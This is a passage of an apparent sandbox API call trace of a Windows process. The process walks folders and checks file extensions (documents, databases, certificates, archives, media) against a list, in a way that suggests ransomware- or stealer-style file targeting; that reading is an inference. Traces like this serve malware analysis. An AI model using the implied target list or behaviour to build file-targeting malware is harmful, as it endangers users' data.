[0064.901] lstrlenW (lpString=".kmz") returned 4 [0064.901] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".kwm") returned 4 [0064.901] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".lasso") returned 6 [0064.901] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0064.901] lstrlenW (lpString=".lbi") returned 4 [0064.901] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".lgf") returned 4 [0064.901] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".lgp") returned 4 [0064.901] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".log") returned 4 [0064.901] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".m1v") returned 4 [0064.901] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".m4a") returned 4 [0064.901] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".m4v") returned 4 [0064.901] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".max") returned 4 [0064.901] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0064.901] lstrlenW (lpString=".md") returned 3 [0064.901] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0064.901] lstrlenW (lpString=".mda") returned 4 [0064.902] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mdb") returned 4 [0064.902] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mde") returned 4 [0064.902] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mdf") returned 4 [0064.902] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mdw") returned 4 [0064.902] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mef") returned 4 [0064.902] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mft") returned 4 [0064.902] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mfw") returned 4 [0064.902] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mht") returned 4 [0064.902] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mhtml") returned 6 [0064.902] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0064.902] lstrlenW (lpString=".mka") returned 4 [0064.902] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mkidx") returned 6 [0064.902] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0064.902] lstrlenW (lpString=".mkv") returned 4 [0064.902] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mos") returned 4 [0064.902] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mov") returned 4 [0064.902] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mp3") returned 4 [0064.902] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mp4") returned 4 [0064.902] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0064.902] lstrlenW (lpString=".mpeg") returned 5 [0064.902] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0064.902] lstrlenW (lpString=".mpg") returned 4 [0064.903] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0064.903] lstrlenW (lpString=".mpv") returned 4 [0064.903] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0064.903] lstrlenW (lpString=".mrw") returned 4 [0064.903] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0064.903] lstrlenW (lpString=".msg") returned 4 [0064.903] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0064.903] lstrlenW (lpString=".mxl") returned 4 [0064.903] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".myd") returned 4 [0064.903] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".myi") returned 4 [0064.903] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".nef") returned 4 [0064.903] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".nrw") returned 4 [0064.903] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".obj") returned 4 [0064.903] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".odb") returned 4 [0064.903] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".odc") returned 4 [0064.903] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".odm") returned 4 [0064.903] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".odp") returned 4 [0064.903] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".ods") returned 4 [0064.903] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".oft") returned 4 [0064.903] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".one") returned 4 [0064.903] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0064.903] lstrlenW (lpString=".onepkg") returned 7 [0064.903] lstrcmpiW (lpString1=".onepkg", lpString2="rll.mui") returned -1 [0064.903] lstrlenW (lpString=".onetoc2") returned 8 [0064.903] lstrcmpiW (lpString1=".onetoc2", lpString2=".rll.mui") returned -1 [0064.903] lstrlenW (lpString=".opt") returned 4 [0064.904] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".oqy") returned 4 [0064.904] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".orf") returned 4 [0064.904] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".p12") returned 4 [0064.904] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".p7b") returned 4 [0064.904] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".p7c") returned 4 [0064.904] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pam") returned 4 [0064.904] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pbm") returned 4 [0064.904] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pct") returned 4 [0064.904] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pcx") returned 4 [0064.904] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pdd") returned 4 [0064.904] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pdf") returned 4 [0064.904] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pdp") returned 4 [0064.904] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pef") returned 4 [0064.904] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pem") returned 4 [0064.904] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pff") returned 4 [0064.904] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pfm") returned 4 [0064.904] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pfx") returned 4 [0064.904] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0064.904] lstrlenW (lpString=".pgm") returned 4 [0064.904] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0064.905] lstrlenW (lpString=".php") returned 4 [0064.905] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0064.905] lstrlenW (lpString=".php3") returned 5 [0064.905] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0064.905] lstrlenW (lpString=".php4") returned 5 [0064.905] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0064.905] lstrlenW (lpString=".php5") returned 5 [0064.905] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0064.905] lstrlenW (lpString=".phtml") returned 6 [0064.905] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0064.905] lstrlenW (lpString=".pict") returned 5 [0064.905] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0064.905] lstrlenW (lpString=".pl") returned 3 [0064.905] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0064.905] lstrlenW (lpString=".pls") returned 4 [0064.905] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0064.905] lstrlenW (lpString=".pm") returned 3 [0064.905] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0064.905] lstrlenW (lpString=".png") returned 4 [0064.905] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0064.905] lstrlenW (lpString=".pnm") returned 4 [0064.905] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0064.905] lstrlenW (lpString=".pot") returned 4 [0064.905] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0064.905] lstrlenW (lpString=".potm") returned 5 [0064.905] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0064.905] lstrlenW (lpString=".potx") returned 5 [0064.905] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0064.905] lstrlenW (lpString=".ppa") returned 4 [0064.905] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0064.905] lstrlenW (lpString=".ppam") returned 5 [0064.905] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0064.905] lstrlenW (lpString=".ppm") returned 4 [0064.905] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0064.905] lstrlenW (lpString=".pps") returned 4 [0064.905] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0064.905] lstrlenW (lpString=".ppsm") returned 5 [0064.906] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0064.906] lstrlenW (lpString=".ppt") returned 4 [0064.906] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".pptm") returned 5 [0064.906] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0064.906] lstrlenW (lpString=".pptx") returned 5 [0064.906] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0064.906] lstrlenW (lpString=".prn") returned 4 [0064.906] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".ps") returned 3 [0064.906] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0064.906] lstrlenW (lpString=".psb") returned 4 [0064.906] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".psd") returned 4 [0064.906] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".pst") returned 4 [0064.906] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".ptx") returned 4 [0064.906] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".pub") returned 4 [0064.906] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".pwm") returned 4 [0064.906] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".pxr") returned 4 [0064.906] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".py") returned 3 [0064.906] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0064.906] lstrlenW (lpString=".qt") returned 3 [0064.906] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0064.906] lstrlenW (lpString=".r3d") returned 4 [0064.906] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".raf") returned 4 [0064.906] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".rar") returned 4 [0064.906] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0064.906] lstrlenW (lpString=".raw") returned 4 [0064.907] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0064.907] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.907] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0064.907] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.907] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0064.907] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0064.909] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f43f000, ftCreationTime.dwHighDateTime=0x1d5933c, ftLastAccessTime.dwLowDateTime=0xeda1c370, ftLastAccessTime.dwHighDateTime=0x1d58b25, ftLastWriteTime.dwLowDateTime=0xeda1c370, ftLastWriteTime.dwHighDateTime=0x1d58b25, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="utg2.exe", cAlternateFileName="")) returned 1 [0064.909] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0064.909] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0064.910] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.910] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0064.912] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.912] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bee610, ftCreationTime.dwHighDateTime=0x1d59ff3, ftLastAccessTime.dwLowDateTime=0x68023ee0, ftLastAccessTime.dwHighDateTime=0x1d5cb1f, ftLastWriteTime.dwLowDateTime=0x68023ee0, ftLastWriteTime.dwHighDateTime=0x1d5cb1f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="prospects_pixel_academics.exe", cAlternateFileName="PROSPE~1.EXE")) returned 1 [0064.913] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.913] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0064.913] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.913] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c987fe8, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c987fe8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0064.916] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0064.916] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0064.919] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0064.919] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0064.920] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0064.920] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0064.921] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0064.921] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0065.444] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.444] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0065.444] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.444] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0065.445] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.445] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0065.448] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.448] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0065.450] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.450] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0065.453] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.453] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0065.455] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0065.455] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0065.456] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0065.456] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.456] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0065.456] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0065.456] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, 